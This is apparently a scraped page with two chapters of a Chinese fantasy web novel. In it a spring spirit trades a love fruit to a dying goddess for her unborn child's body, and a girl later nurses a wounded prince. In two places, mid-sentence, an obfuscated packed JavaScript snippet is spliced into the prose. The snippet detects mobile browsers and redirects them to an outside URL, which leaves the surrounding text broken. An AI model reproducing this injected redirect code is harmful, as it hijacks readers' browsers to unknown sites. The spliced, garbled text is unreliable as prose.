我没有笑。 “走开。”我拉走小妖孽,压低声音,“她是仙神。你若占了她的身体,便是犯了天条。” “可她是自愿陨落的呀……”小妖孽小声说。 我沉默了。 那女子的故事,我在清泉的水脉中听见了——像所有流入泉中的悲欢一样,她的故事也被水带来了。 她是上界女仙,不知修了几千年,偷偷下凡,爱上了一个山脚下的凡人男子。那男子憨厚老实,木讷寡言,却对谁都好——好到她分不清,他对她的好,和对旁人的好,有什么分别。 她开始患得患失。 她替他煮饭,他吃完了笑着夸一句“好吃”,转头也夸隔壁大婶送的糕“好吃”。她替他缝衣,他穿上了说“真暖和”,可隔壁寡妇替他补的袜子他也说“真暖和”。她对他是天上人间唯一的爱,他对她——好。只是好。对谁都好。 她越爱越慌,越慌越苦,苦到仙骨生裂,灵光消散。她坐在清泉边哭,不是因为恨他,是因为太爱了,爱到自己都认不出自己了。 我拉着小妖孽离开了。 可那天夜里,我独自回到了泉边。 那个女仙还坐在那里。她没有回那凡人的小屋,也没有回天上,只是坐在泉边,抱着膝盖,反反复复地揉着同一块衣角,像在揉一段怎么也理不清的心事。 月光落在她紫色的瞳仁里,碎成一片一片的。 我站在暗处看了她很久。 她快死了。仙骨崩裂的速度比我想的更快,仙光从她身上一寸一寸地褪去,像金漆从泥胎上剥落。她腹中胎儿还活着——仙凡混体,那孩子承了母亲的仙骨和父亲的凡血,紫眸是天生注定的。可母亲若陨落,胎儿也活不成了。 一具紫眸的身体。一具即将变空的、紫眸的身体。 小妖孽想要的那种。 我在暗处站了一整夜。 天快亮的时候,我走了出来。 “你是清泉灵主。”她看见我,没有惊讶,声音沙哑得像被泉水泡过的石头,“我认得你身上的灵韵。” 我在她对面坐下。 “你爱那个凡人?” 她愣了一下,然后苦笑。“这也能看出来?” “清泉阅尽世间悲欢,你坐在泉边哭了一夜,泉水什么都听见了。” 她低下头,沉默了很久。 “他很善良。”她轻声说,“对谁都善良。我当初就是被他的善良打动的。可他对谁都善良……” 她说不下去了。 “你想让他只对你一个人好。”我说。 她猛地抬头,紫瞳里闪过一丝狼狈,像被人窥见了最隐秘的心思。 我没有给她回避的余地。 “我有一样东西,能让他只钟情于你一人。此生不渝,再无二心。” 她的呼吸急促起来。“什么东西?” “移情果。清泉千年所育,服之可令指定之人对你钟情不渝。” 她怔住了。紫瞳里的光一明一灭,像风中摇晃的灯。 “当真?” “千真万确。” “那……那我要——” “但不是白给你的。” 她的话卡在喉咙里。 我看着她的眼睛,一字一字地说:“我需要一具身体。紫眸的身体。你腹中胎儿,仙凡混体,天生紫瞳——正是我需要的。” 她的脸色变了。手下意识地护住腹部,像一只被逼到墙角的母兽。 “你疯了。” “我会把孩子送走。送到另一个世界去——没有仙劫,没有情劫,安安稳稳做一辈子凡人。她会有新的父母,新的人生,不会记得这里的一切。” “那也是我的孩子!” “她会是你的孩子。”我的声音没有退让,“但她跟着你,活不成。你的仙骨正在崩碎,仙体一散,凡胎承不住,母子俱亡。你拿什么养她?拿你即将消散的仙魂,还是拿那个对谁都善良的凡人丈夫?” 她咬紧了唇,浑身发抖。 “他连你是什么人都不知道。你以为他发现你仙力尽失之后,还会像从前那样待你?还是会像待隔壁大婶一样——善良,客气,不远不近?” “你闭嘴!” “你心里清楚。”我顿了顿,压低了声音,“你若死了,他会不会难过?会。他善良,他会对所有人都难过。然后呢?三年,五年,他会忘了你。他会娶别人。你的孩子,他或许会养,或许不会——一个凡人男子,独自拉扯一个没有母亲的婴孩,你以为他能撑多久?” 她的眼泪无声地滚落。 “可如果——”我继续说,声音放轻了,像在诱一只受惊的鸟,“你服下移情果,他此生只钟情于你一人。哪怕你仙力尽失,哪怕你容颜老去,他的眼里再不会有旁人。你腹中的孩子,我会送到一个安全的地方,让她做一辈子无忧无虑的凡人。你得了你想要的,我得了我需要的。各取所需。” 泉声潺潺。 她抱着膝盖,哭了很久。 我坐在对面,没有催她。清泉灵主修化千年,我什么都会等。 “你怎么保证……”她终于开口,声音碎得像被揉过的纸,“我的孩子会安全?” “我以清泉灵主的命格起誓。” “命格?” “命格是灵泉修化之物的根本。若我违誓,灵识尽散,不入轮回。” 她看着我,紫瞳里满是挣扎。 我看着她,心里没有一丝愧疚。 ——不对。有一丝。很细,很小,像针尖一样,扎在心底最深处。但我说服自己,这是公平交易。她要钟情,我要身体,各取所需,两不相欠。 至于那个未出生的孩子——她会去一个安全的地方。我答应过。 我那时真的这样以为。 “移情果……真的有用吗?”她最后问了一句,声音轻得像风里的叹息。 “千年清灵正气所聚,你自可验证。” 她闭上了眼。 两行泪从紫瞳里滑落,落入泉中,无声无息。 “好。”她说。 那个字很轻,轻得像一片落叶掉进泉水里,连涟漪都没泛起来。可我听见了。听得清清楚楚。 我取出移情果,莹白如珠,悬在她面前。 她伸手接过,放在掌心看了很久。那枚小小的果实映在她的紫瞳里,像一颗星星落进了暮色。 “服下之后,想着那人的样子,心中默念他的名字,便可。”我说。 她点头。 把果子放入口中。 移情果入口即化,一道白光从她体内漫开,像月光注入了将要熄灭的灯。她的仙骨仍在崩裂,移情果救不了将散的仙魂——但它在她心口种下了一根丝线,一端系在她心上,另一端越过千山万水,牢牢系在那个憨厚老实的凡人男子心上。那丝线不是仙力,不是灵力,是一种更执拗、更凡俗的东西——是这世间最不讲道理的心念。 这便够了。 她低头看着自己逐渐透明的双手,忽然笑了。那笑很轻,像一片羽毛落在水面上。 “他明天早上起来……会先找我的。” 她知道自己仙体活不过今夜。但她可以依附上另一具刚刚病亡的凡人躯体中,她爱的人会一眼认出她。 我转开目光。 女婴提前分娩了。小小一团,细嫩白皙,清冽紫眸,却没有哭声。她抱在怀里,轻轻亲吻,舍不得放手。但女婴坚持不了多久。 我把女婴的魂魄从她腹中引出,只有巴掌大一团,蜷缩着,睡得很沉,小脸上还带着母体的余温。我用清泉灵力将这团魂魄包裹,送入天地之间的裂隙——那里有一条通往异世的暗流,是千年灵泉冲刷出的密道。 两个时空的时间流速并不相同。蔚魄大陆与那个异世之间,横亘着连我都不曾参透的时空扭曲——在蔚魄不过数年,在异世已可度过十余载。这种扭曲并非恒常不变,它随着时空裂隙的涨缩而波动,有时两界时间近乎同步,有时又相差数倍。即便是清泉灵主,也说不清其中的规律。 我只知道,待这孩子从异世归来,或许比小妖孽修化身躯的年岁更长,或许更短。归来的时机,不取决于我,而取决于她在异世的寿数。若她安享天年,归来时或已是白发老妪;若她中途夭折,魂魄便会提前循着暗流倒灌而回。 这些我都没有告诉那女仙。她只需要知道,孩子会安全。 “去吧。”我轻声说,“去一个没有仙劫的地方,做一辈子凡人。” 魂魄流入暗流,像一颗星子没入银河,转瞬不见。 身后,那女子的身体正在慢慢变得透明。她低头看着自己正在消散的双手,一遍一遍地抚过腹部——孩子已经不在了,可她的手还是停在那里,像在摸一个快要忘掉的梦。 “她会好的,对吗?”她问。声音已经很远了。 “会。” “她会有人疼她吗?” “……会。” “那就好。” 她散了。化作一缕清气,融入另一具陌生女人的躯体。那躯体,慢慢复活,慢慢有了温度,却再不是她原本的紫瞳模样。 那女子缓缓起身,走了两步,又停住。她回头望了一眼泉面——孩子就是从这里送走的。水波已经合拢,什么痕迹都没留下。 她抬手摸了摸自己的脸。陌生的轮廓,陌生的骨骼。只有心口那根丝线还在,替她记着,有一个人今夜会梦到她。 她转身下山。 走出几步,泉面映出一个月白色的影子——是她原来的样子。紫瞳,长发,她在水里看了自己最后一眼。 然后影子散了。 泉面泛起一圈涟漪,然后归于平静。 小妖孽站在我身后,不知什么时候已经哭了。她看着那女子消失的地方,小声说:“哥哥,她好可怜。” “她不可怜。”我转过身,不让她看见我的表情,“她得了她想要的。” “那——那个小女娃呢?她一个人在异世,也可怜。” “她不会有事的。我选的是个很温柔的女人做她的母亲。” 小妖孽擦了擦眼泪,又问:“那惜儿什么时候可以用那具身体?” 我低头看着她,心里忽然有些发沉。我破了天条。引诱一个仙神交出腹中胎儿,送走了不该送走的魂魄,这桩因果,迟早要还的。 但看着小妖孽期待的眼睛,我说不出口。 “现在。”我摸了摸她的头,引着她的灵体进入女婴身体。 “小妖孽,你需从婴孩开始,努力与女孩融合,用自己灵力滋养她。” 十年间,小妖孽很努力。 她用自己的灵力一点一点地与那具紫眸女童的身体修化融合,从骨骼到经脉,从肌肤到毛发,每一寸都倾注了她的心血。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632076|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢慢地,随着灵力增强,她修化成了雨虹山的神主,守护着山上的生灵。可修到十岁龄,她停住了。 不管她怎么运灵力,那具身体始终不再生长。面容停在十岁,身量停在十岁,声音停在十岁,像一幅画到一半忽然搁了笔的画,再也添不上一笔。 “哥哥,是不是惜儿不够努力?”她坐在我对面,低头看着自己小小的手掌,语气有些沮丧。 “不是你的问题。”我握住她的手——是真的握住了。她有了身体之后,终于能被我碰到了。她的手小小的、软软的,指尖冰凉,掌心却暖。我握着,就不想松开。 “那为什么长不大呢?” 我没有告诉她。 但我隐约觉得,那具身体真正的主人——那个被我送去异世的小女娃——出了变故。小妖孽的灵力修化的是她的肉身,而肉身与魂魄之间,隔着两个时空的流速差异,有一种连我都参不透的感应。若那魂魄在异世受了重创,肉身便会本能地拒绝继续生长——像一棵树的根被伤了,枝叶便不再抽新。 此后三年,小妖孽始终停在十岁龄。三年间她的灵力一点一点耗在维持肉身运转上,越来越虚弱,有时候走着走着就会愣住,眼神空空的,像魂魄短暂地离开了身体。 我开始慌了。 六、紫晶 我决定去凤鸣山。 凤鸣山深处有一种至宝,名为紫珀玄经,是上古神器,能护佑灵魄着体,稳固魂魄与肉身的联结。若能将其带回来,或可帮小妖孽镇住那具越来越不听使唤的身体。 “哥哥要出门?”小妖孽坐在泉边,听见我的安排,立刻警觉地竖起了耳朵。 “去凤鸣山取一样东西,几日便回。” “惜儿也去!” “不行。凤鸣山险峻,你的灵力撑不住。” “那惜儿在家里等哥哥!”她立刻改口,乖得不像话,“惜儿哪儿也不去,就在泉边等哥哥回来!” 我看着她乖巧的脸,心里忽然有些不安。这些年小妖孽越来越黏我,我去哪儿她都要跟着,我不让跟,她就站在山门口等到我回来。有一次我去浊泉巡视,不过半日,回来时她蹲在山门口,膝盖上全是被山风吹裂的口子,却还是笑着冲我挥手——“哥哥回来啦!” “小妖孽。”我蹲下来,平视她的眼睛,“我走之后,你不可离开清泉半步。山下凡人杂居,人心险恶,你心思单纯,不懂分辨善恶。记住了吗?” “惜儿知道!惜儿乖乖看家!”她用力点头,然后伸出小指,“哥哥拉钩!快去快回!” 我看着那根小指,愣了一下。 从前她伸出手,只会穿过我的掌心。如今她有了身体,可以拉钩了,可以碰到了,可以笑着把小指勾在我手上了。 “拉钩。”我伸出手,勾住她的指。 她的手指细细的,凉丝丝的,勾着我的时候用了很大力气,好像怕我跑掉似的。 “哥哥不许骗惜儿。” “不骗。” “骗了就——就变成浊泉里的臭泥巴!” “……好。” 她笑了,松开手,又抱了我一下,脸贴在我胸口,闷闷地说了一句——“哥哥快点回来。惜儿会想你的。” 我拍了拍她的背,起身离开。 走出几步,我回头看了一眼。她还站在泉边,赤着脚,红衣被山风吹得猎猎作响,冲我使劲挥手。 “哥哥——路上小心——” 我点了点头,转身御风而去。 我不知道,那是我最后一次看见她笑。 七、移情 我走之后的第三日,发现了不对。 清泉泉底的灵力波动出了异样——移情果的气息在减弱。不是自然消散,是被人服用了。 我心头猛地一沉,立刻折返。 回到雨虹山时,天色已晚。泉边空无一人。 “小妖孽?”我喊了一声。 没有回应。 “惜儿!” 还是没有。 我沿着泉边找,在泉底最深处的石壁间找到了她。她蜷缩在石壁缝隙里,脸红得像发烧,周身萦绕着一层淡淡的异香——那是移情果的气息。 她偷吃了移情果。 我呆住了。 她偷吃了移情果。那枚能令人钟情不渝的移情果,她偷吃了。 她想为谁吃? 她想为我吃。 这个认知像一把钝刀,一下一下割在我心上。她爱我不是兄妹之爱,她想要我不只是哥哥,她偷吃了移情果想让我钟情于她——她知不知道,移情果对灵泉修化之物无效?她知不知道,移情果的灵力会反噬她本就虚弱的灵体? 她什么都不知道。她只知道,她想让哥哥看她,不只是当她是妹妹地看她。 “小妖孽!”我一把将她从石壁间拉出来。 她迷迷糊糊地睁开眼,看见我,先是一愣,然后笑了,笑得眉眼弯弯,像什么事都没做过——“哥哥,你回来啦……” “你吃了移情果?” 她的笑容僵住了。 “你吃移情果做什么?”我的声音比我预想的更冷,更硬,像是在审一个犯了天条的罪人。 她咬着唇,不说话。 “说!” “惜儿……惜儿想让哥哥喜欢惜儿……”她的声音越来越小,小到最后几乎听不见,“不只是哥哥喜欢妹妹的那种喜欢……” 我闭上眼。 气。心疼。更多的是怕。 移情果的灵力正在她体内乱窜,她本就虚弱的灵体根本承受不住,经脉里全是横冲直撞的暖流,像烧开的泉水在她身体里翻滚。她脸色绯红,额角沁汗,指尖在微微发抖。 可她还在笑。 “哥哥别生气……惜儿知错了……惜儿不该偷吃的……” “你知不知道这东西会要你的命?” “要命也要。”她忽然抬眼看着我,紫眸里水光晃动,“哥哥不喜欢惜儿,惜儿活着也没意思。” 我整个人像被雷劈中一样,僵在原地。 她看见我的表情,又怕了,连忙改口:“惜儿乱说的!哥哥别生气!惜儿再也不偷吃了!哥哥别不要惜儿……” 我深吸一口气,压下翻涌的气血。移情果的灵力还在她体内作乱,必须先封住她的法力,让灵力不再运行,果力自然慢慢消散。 “伸手。” 她乖乖伸出双手。 我封了她全部法力,又在她周身布下清泉结界。灵力一断,她的身体软下来,被我捞进怀里。她比以前轻了,轻得像一片叶子。 “哥哥……”她靠在我胸口,声音闷闷的,“惜儿错了。” “嗯。” “哥哥还生不生气?” “生气。” “那……哥哥还喜不喜欢惜儿?” 我沉默了很久。 “喜欢。” 她在我怀里轻轻笑了一声,像放下了一件很大的心事。 “那就好……惜儿只要哥哥喜欢惜儿就好了……” 我没说话,只是抱紧了她。她终于有了可以被抱住的身体,我终于可以真的碰到她了,可她在我怀里轻飘飘的,好像随时会散。 八、山下 我以为封了法力,再以清泉结界困住她,她就会乖乖待在泉边。 我错了。 小妖孽从来没有乖乖听过话。她之所以答应“乖乖看家”,不过是因为我在。我不在的时候,她就像小时候一样——我入定半日,她就蹲在山门口等;我去凤鸣山几日,她就偷偷溜下山来找我。 她不知道山下有多危险。她是灵体修化的肉身,法力被我封了,与手无缚鸡之力的凡人孩童无异。而我告诫她的那句“山下人心险恶”,她大概左耳进右耳出,根本没有当真。毕竟在她眼里,所有人都是好的——哥哥是好的,惜儿是好的,泉底的鲤鱼是好的,山上的灵兽也是好的。她从没遇到过恶意,从没想过有人会对一个十岁的小女孩生出那种脏念头。 她大概是想去找我。她不知道凤鸣山在哪个方向,就沿着山路一直往下走,走到了山脚下的村子。 后来我才知道,她偷吃的移情果,果力在我离开后与封印相冲,竟将清泉结界烧穿了一个洞。她从那个洞里钻了出来。大抵天意如此。 而远在凤鸣山的我,对这一切一无所知。 她在山下经历了什么,她一直没有告诉我。 再见她时,她的身体里,那个叫跃然的女孩,已经魂魄归位了。 可小妖孽回不去了。 紫晶玄石已经与跃然的肉身融合,灵肉复合,再不可分。小妖孽的魂魄只能飘在空中,细若游丝,连说话的力气都没有。 “哥哥……哥哥……” 她的声音像风里的铃铛,小得几乎听不见。 我把她捧在掌心。轻得像一朵将散未散的云。 “小妖孽,哥哥带你回家。” “哥哥,哥哥,惜儿再也不偷食移情果了,惜儿知错了,惜儿只是不想哥哥一个人下山,想哥哥多陪陪惜儿啊!哥哥,哥哥,别再惩罚惜儿了!让惜儿回去吧……” “惜儿乖,以后咱们都不要身体了。以后,哥哥每天都陪在你身边。你去哪儿,哥哥就去哪儿,好不好?” “好啊!好啊!惜儿只要哥哥陪!可是……” 她还想说什么,却说不清了。一抹幽魂的记忆是断裂的,她只记得想哥哥、怕哥哥走、偷吃了果子、被哥哥骂了——中间那段最残忍的记忆,她反而忘了。 也好。忘了就忘了吧。 九、还债 我走到跃然面前,把该还的都还了,兑现了我当年的誓言。她没有幸福,我献出仙格。 紫珀玄经、清泉蓝晶,十年的亏欠、一条不该被打断的命——统统还了。 身形化作流光。 我和小妖孽两道流光相伴着升起,像两颗终于找到了彼此的星子,没入无边的夜色。 “小妖孽,我们走吧。” 玄冥千载情难弃,绝殇永惜誓不离。 泉声不渡离人恨,空山月落梦无期。 我带着小妖孽离开了,不再回清泉。天大地大,总有我们能够相伴修化的地方。 只是我走后,雨虹山上的清泉,从此再无人守护。 世人不知道的是,在我灵力消散的那一刻,浊泉深处那道维系了千年的法阵,微微震颤了一瞬。一缕极细的黑雾从阵眼缝隙中渗出,像一条蛇,无声地钻入地底。 无人察觉。 蔚魄大地的浩劫,正在浊泉深处,悄悄醒来。 那么,这一切,就让那个夺走小妖孽身体的女孩去承担吧。 13. 暗夜微澜 正是你承受痛苦的方式,让你成为了你自己。 ——纪伯伦《先知·论苦痛》 驿站的夜很静。 静得能听见后院马厩里偶尔传来的一记响鼻,能听见檐角铁马被风撞出的泠泠碎响,能听见自己踩在廊道青石上的脚步声——轻了又重,近了又停。但唯独听不到拓宏房内的声响。 跃然被一个梧卫领到拓宏卧房门外,正见梧冲庭推门走出,做了个请的手势。他那张沉默的脸上依旧没有什么表情,只是在她进门的时候,极轻极轻地叹了口气。 屋内还站着一位长须老先生,见跃然进门,低声说:“少主骨裂已合、内息渐稳,只是体虚过甚,醒转怕尚需时日。” 跃然点点头。老者看着她的紫眸迟疑了一瞬,而后便退出去了。 她原本不必来,早有人为她备好了卧房,拓石使人来问过两次,连拓云都颠颠跑来塞给她一包野枣干,说“跃然你脸色好差,快吃点甜的”。可她睡不着。一闭眼,便是那道挡在身前的玄色背影——左肩淌血,双臂骨裂,一步一血印地往魅绝殇面前逼。 她欠他一句谢谢。或许不止一句。 房内只点了一盏烛。烛光从纱罩里透出来,朦朦胧胧地铺在榻上。 下人们已经替拓宏擦过了身子,换了干净的中衣,袖口整整齐齐地扣着,遮住了手臂上原本该有的伤痕。他仰面躺着,锦被拉到胸口,双手叠放在被外,安静得像一尊被收进木匣的冷兵器。那些白日里逼人的锋芒——紧抿的薄唇、微蹙的剑眉、眼底寒潭般的沉郁——此刻都松开了。他睡着的样子,连呼吸都轻缓得让人心生怜意。 跃然轻轻在榻沿坐下,借着烛光看他的脸。此刻他躺在烛火的光晕里,脸上不愠不怒,眉目清和——这才像一个十几岁的男孩子啊。 没有了冷硬、倔强,也没有了强笑周旋。没有了那些他披挂在身上、像铠甲一样不肯卸下的东西。他的脸,原来并不锋利。眉骨是清朗的,鼻梁挺秀,唇线薄却柔和。不是拓石那种温润如玉,也不是拓云那种明艳如画,而是一种收敛的、近乎克制的清雅,似有似无地散逸着,像一盏被拢在掌心的灯。 跃然不由得伸出手,指尖极轻极轻地覆上了他的额头。 他的体温微凉。在她手指落上去的那一刻,他似乎毫无反应,呼吸平稳如故。她没有察觉的是,那双叠放在锦被上的手,在她指尖触到额头的瞬间,几不可察地绷了一瞬。 “你才十几岁,干嘛要那么勉强自己?”她的声音很轻,轻得只够他听见——如果他醒着的话,“快乐点不好吗?” 她看了他很久。 烛火晃了晃,他额前有几缕碎发散落下来,落在阖着的眼睑上。她犹豫了一瞬,还是伸出手,用指尖极轻极轻地将那几缕发丝拨到一边。 “我这么个孤女,怎么值得你们兄弟三人,一次次舍命相救呢?” 没有人回答。烛火晃了晃,把他的睫毛投下一片浅灰的阴影。 她低头小心地掀开他的袖口。手臂上果然什么伤痕都没有了——之前野苑里那人一掌劈下来时,她分明看见他小臂上裂开一道血口,白骨隐约可见。可现在连淤青都消退了,皮肤光洁,只剩下细长的肌肉线条,分明而健美,在烛光下泛着少年人特有的光泽。 她想起老者的话——“骨裂已合,内息渐稳”。既然连外伤都愈合得这样彻底,内里的骨裂想必也无碍了。那人果然没有诓骗她,那道青蓝水韵,是真的把他从阎王手里拽回来了。 “还好没事了。”她长长地松了一口气,喃喃低语,“要是你的双臂废了,我恐怕就得留在这儿照顾你一辈子来赎罪了……” 说着,她将他袖袢重新扣好,动作很轻,像是怕惊醒什么。然后她转身用竹杯取来炉火上温热的清水,用下人给她的干净的棉布手帕蘸了些水,正要帮他润一润干裂的嘴唇—— 一抬头,对上了一双清亮沉默的眼睛。 “你——醒了?” 跃然的手一颤,半杯水晃了晃,险些洒出来。她稳住手,心里头涌上来第一个念头竟然是——他刚才……是听见了? “你……还有哪里不舒服吗?”她低下头,避开男孩子的目光,突然不知道视线该往哪里放,只好盯着手里的竹杯。 拓宏没有立刻回答。他就那样静静地望着她,目光沉静清淡,像月光倾泻在静水上,没有白日里的审视和探究,没有那种让人发冷的笑意,只是看着,不躲不避,也不带什么目的。 这样的目光比任何逼视都让跃然心慌。她忽然觉得手里那杯水比什么都重。 “你……在怕我吗?”拓宏开口了,声音虚弱暗哑,但语调是刻意放轻了的。他微微扯了扯嘴角,像是想笑,又没太多力气,“你看,我非恶鬼。我也会受伤,也会流血。” “我怎么会怕你?”跃然不禁轻笑了。她在心里补了一句——我活了快三十年,怎么可能怕一个十几岁的男孩子?可他刚才那句话,分明是在安慰她。一个刚从鬼门关回来的人,醒过来第一件事,是安慰一个坐在他床边发呆的人。这让她有些心酸,也有些想笑, 她顿了顿,补了一句,“我只是不习惯被人这样盯着看。”声音从她口中溢出,语气低沉,与十岁女童的声线有着诡异的违和感。 拓宏没接话。盯着她远比十岁女童沉敛的眼睛,思忖着。 跃然无措,只好起身换了一杯水,拿起喂药用的调羹,盛了一勺送到他唇前,动作小心翼翼。他在跃然的搀扶下挣扎着半坐起来,倚在床头,抿了一口水,润了润干涸的嗓子,忽然转头看向她近在咫尺的脸。 那么小的一张脸。素净的,没有脂粉,睫毛低垂着,灯火在眼睑下投出一小片扇形的阴影。紫眸的魅惑下,更显出她的清丽宁和。他心里被什么轻轻搅了一下。 “未来,你的夫君一定也会这样看你。”他说。 话说出口,自己也怔了怔。这不是他平时会讲的话。他甚至不知道自己为什么说了——大约是伤得太重,神志尚未完全清明,心里想着什么,便脱口而出了。可他没收回,只是看着她的反应。 跃然微微一怔,然后笑了。不是被逗乐的笑,是一种很淡的、被风吹起来又落下去的笑。 沈煦当然也那样看过她。那时她只需要别开眼,钻进他怀里,一切的不自然便都融化了,而后是温存潋滟的、只属于两个人的长夜。 都是往事了。往事这种东西,刚来的时候是刀子,久了就变成钝锯,再久了,大约是往心上撒了足够多的盐,便木木的,不知疼痛了。 “如若,我的伤不好,”拓宏的声音把她拉了回来,微偏着头望她,语气里多了一丝玩味,“你可会信守诺言?” 跃然微微一愣,脸一下子红透了。 “你……刚才听见了?”她下意识攥紧了竹杯。 “嗯。”拓宏微扬眉梢,明知故问地看着她。 “只是托词安慰?”他故意把声音压低了,透出几分失落。 “不是。”她皱了皱眉,急急回应,说完了才觉得自己回答得太快,又找补了一句,“你因为我受伤,我自然该照顾你……到你痊愈。” “如何照顾?” “帮你端汤喂药,照顾你起居坐卧……”她正色道,但又不免犹豫,除了这个,她还能或者还会做什么呢?但是,或许,这些事,他的下人们做得会比她更好。 “只到痊愈?”他抬眼逼视,语气却并不逼人,更像逗弄小妹妹。 “你?”跃然终于抬起头,语塞又尴尬。 拓宏爽声笑了起来。笑声牵动了胸口震得他微咳,他笑意却没有收住。 梧冲庭的声音在门外响起:“主上,熙坤王使人来问,请跃然姑娘过去。” 拓宏脸上的笑意淡了一瞬,随即又扬起来,语气里多了一层似笑非笑的意味:“也好。你既殷切想要照顾我,我倒不便推辞了。” 他转向门外,“梧叔,告诉王兄,跃然姑娘自觉亏欠我救命之恩,拳拳报答,今日会住在我院中。想来我王兄宽仁,定能理解跃然姑娘一片初心的。” 梧冲庭在门外沉默了一瞬,低声应了。 跃然站在那里,忽然觉得自己像一只被线牵住的木偶,他醒了,他的人不惊喜吗?怎么好像……她突然懂了,是自己被这孩子戏耍了。心头不免一股无奈与无力感涌了上来。 梧冲庭推门进来,走到榻前,低声道:“主上,您外伤虽愈,但仍余内伤,伤了根本。属下让人备了参汤——” “梧叔。”拓宏打断他,声音有些疲累,却带着不容商量的坚持,“扶我去净身吧。身上黏腻得难受,想舒缓些。” 梧冲庭眉头皱了起来。他看了跃然一眼,欲言又止,最终还是俯身将拓宏从榻上扶起。拓宏双脚落地时,整个人晃了晃,额角瞬间沁出一层细密的冷汗。跃然看到他两只手臂,无力地垂在身侧,刚迈出一步,整个人便软倒下来。 “主上……”梧冲庭一把将拓宏抱起来,叹了口气。拓宏一米七五左右的身量,在高大魁梧的梧冲庭怀里,倒真的像个弱小的孩子了。 跃然跟在后面,心里忽然有些发堵。这孩子方才在榻上对她笑、对她打趣的那点松弛,原来又是在强撑。 拓宏被梧冲庭抱到屋后一个立着石兽的门前,门内是一间不大的浴间,池水引的是天然温泉,水面薄雾氤氲,兽首口中不断涌出温热的细流,水声在石壁上轻轻回荡。梧冲庭将拓宏放到池边坐好,让他靠坐在池壁上,伸手便要帮他解衣。 “梧叔,可以了。”拓宏叫住他,声音很轻,“去叫青儿过来服侍。” “是,属下去唤青儿。”梧冲庭应了一声,转身要走。 “不用了。”拓宏的声音忽然放慢,目光越过梧冲庭,落在门口。木门未掩,一个娇小的身影停在门外似乎不知何去何从。拓宏嘴角微微扬起,抬高了声音:“让跃然来吧。既然答应要照顾我,总不好什么事都不做。” 梧冲庭的脚步顿住了。门口的跃然身体也僵住了。 梧冲庭垂下眼,低头退了出去。路过跃然身边时,脚步稍顿,压低声音说了句“有劳姑娘”,语气里却听不出什么温度。 “进来吧。”拓宏唤她。 跃然站在门外,没有动。 “你身边一定有随侍的人,他们比我更会照顾人。”她的声音很平,语气却坚决,“我去帮你叫。” 池子那头安静了一瞬。然后传来拓宏的声音,虚弱里带着一丝若有若无的笑意:“方才在榻上,是谁说会好好照顾我的?先关上门,夜风凉。” 跃然咬了咬唇,只好踏进去,关好门,停在屏风后面,还在想怎么拒绝。 “我现在全身无力,连手臂都无法抬起。”他的声音放得更轻了,像是说话本身就在耗费力气,“你却连帮我递块方巾都不肯。所谓照顾,莫非只是嘴上敷衍?” 跃然深吸一口气。这人分明是在拿她自己的话堵她。可她又偏偏反驳不得——话确实是她说的,承诺确实是她许的。他为了救她险些丧命,如今虚弱成这样,她若是连这点事都不肯做,未免也太忘恩负义了。 她闭上眼睛,在心里把所有能说服自己的理由过了一遍。他只是个半大孩子,十五六岁,在他这个年纪的王孙公子受了伤,侍女近身伺候也是寻常事,自己又何必矫情。 然后她硬着头皮转过了屏风。 水汽扑面,温热湿润,带着一点点泉水的矿物气息。拓宏靠坐在池壁上,外袍未解,脸色在水汽中显得更加苍白。他看见她进来,微微扬了扬下巴,示意池边的方巾。 跃然低着头走过去,跪坐在池边,拿起那块丝缎方巾,在温水中浸湿了。然后她抬起头,看向他—— 他还穿着中衣,被水浸湿在胸口。 “……你这样舒服吗?”跃然脱口而出。 拓宏低头看了看自己,又看了看她,耳根不易察觉地浮上一抹极淡的红。他试着抬手去解衣带,手指却软得根本使不上力,试了两次都滑开了。他垂下眼,声音难得有些窘迫:“解不开。” 跃然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632077|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跪坐在那里,忽然觉得自己答应进来简直是这辈子最蠢的决定。 她咬了咬牙,放下方巾,伸手去解他的衣带。手指碰到他腰间的时候,她明显感觉到他身体僵了一下。 中衣解开了,露出少年人精壮却不宽阔的胸膛和脊背。他身上狭长的肌肉分明而不纠结,沿着胸肋往下收束出利落的线条,水汽凝结成珠,顺着锁骨滑落。 她别开眼,不去看。目光移开时落在他的后背上——一道狰狞的旧疤从右侧肩胛起,划过半个脊背,像一条蛰伏的怪蛇,在原本光洁的皮肤上呈现出触目的扭曲。 她愣了一下,忘了递方巾。 感受到她目光的落处,拓宏向池中矮了矮身,让疤痕隐起来些。 “吓到了?”拓宏说,“若怕,就转过头去,陪我说说话”。 说完,拓宏伸手去拿方巾,很吃力。 跃然只好拿起方巾,浸了热水,小心地帮他擦拭。动作很轻,让方巾垫在指下,不让自己碰到他一分一毫。浴间里一时只有水声,和方巾从水中提起又落下的滴沥声。她擦得很慢,很仔细,像在处理一件不属于她、却被暂时托付给她照管的物品。 拓宏慢慢闭上了眼。 十二年。十二年了。没有人这样靠近过他。梧叔会替他上药、帮他更衣,但那是一个老将对少主的伺候,敬多于亲。梧卫们远远地跪着,王宫的人远远地躲着,连父王看他的眼神都隔着一层薄薄的忌惮。可此刻,这个来历不明的小姑娘跪坐在他身后,用一块方巾一寸一寸地擦拭他的后背,指尖隔着丝缎传来极细微的温度。 她擦到那道疤的时候,动作慢了下来。反复地擦,却又轻柔,像是想用这清水帮他把那道疤洗掉,又像想要抚慰什么。可疤是洗不掉的,她知道,他更知道。 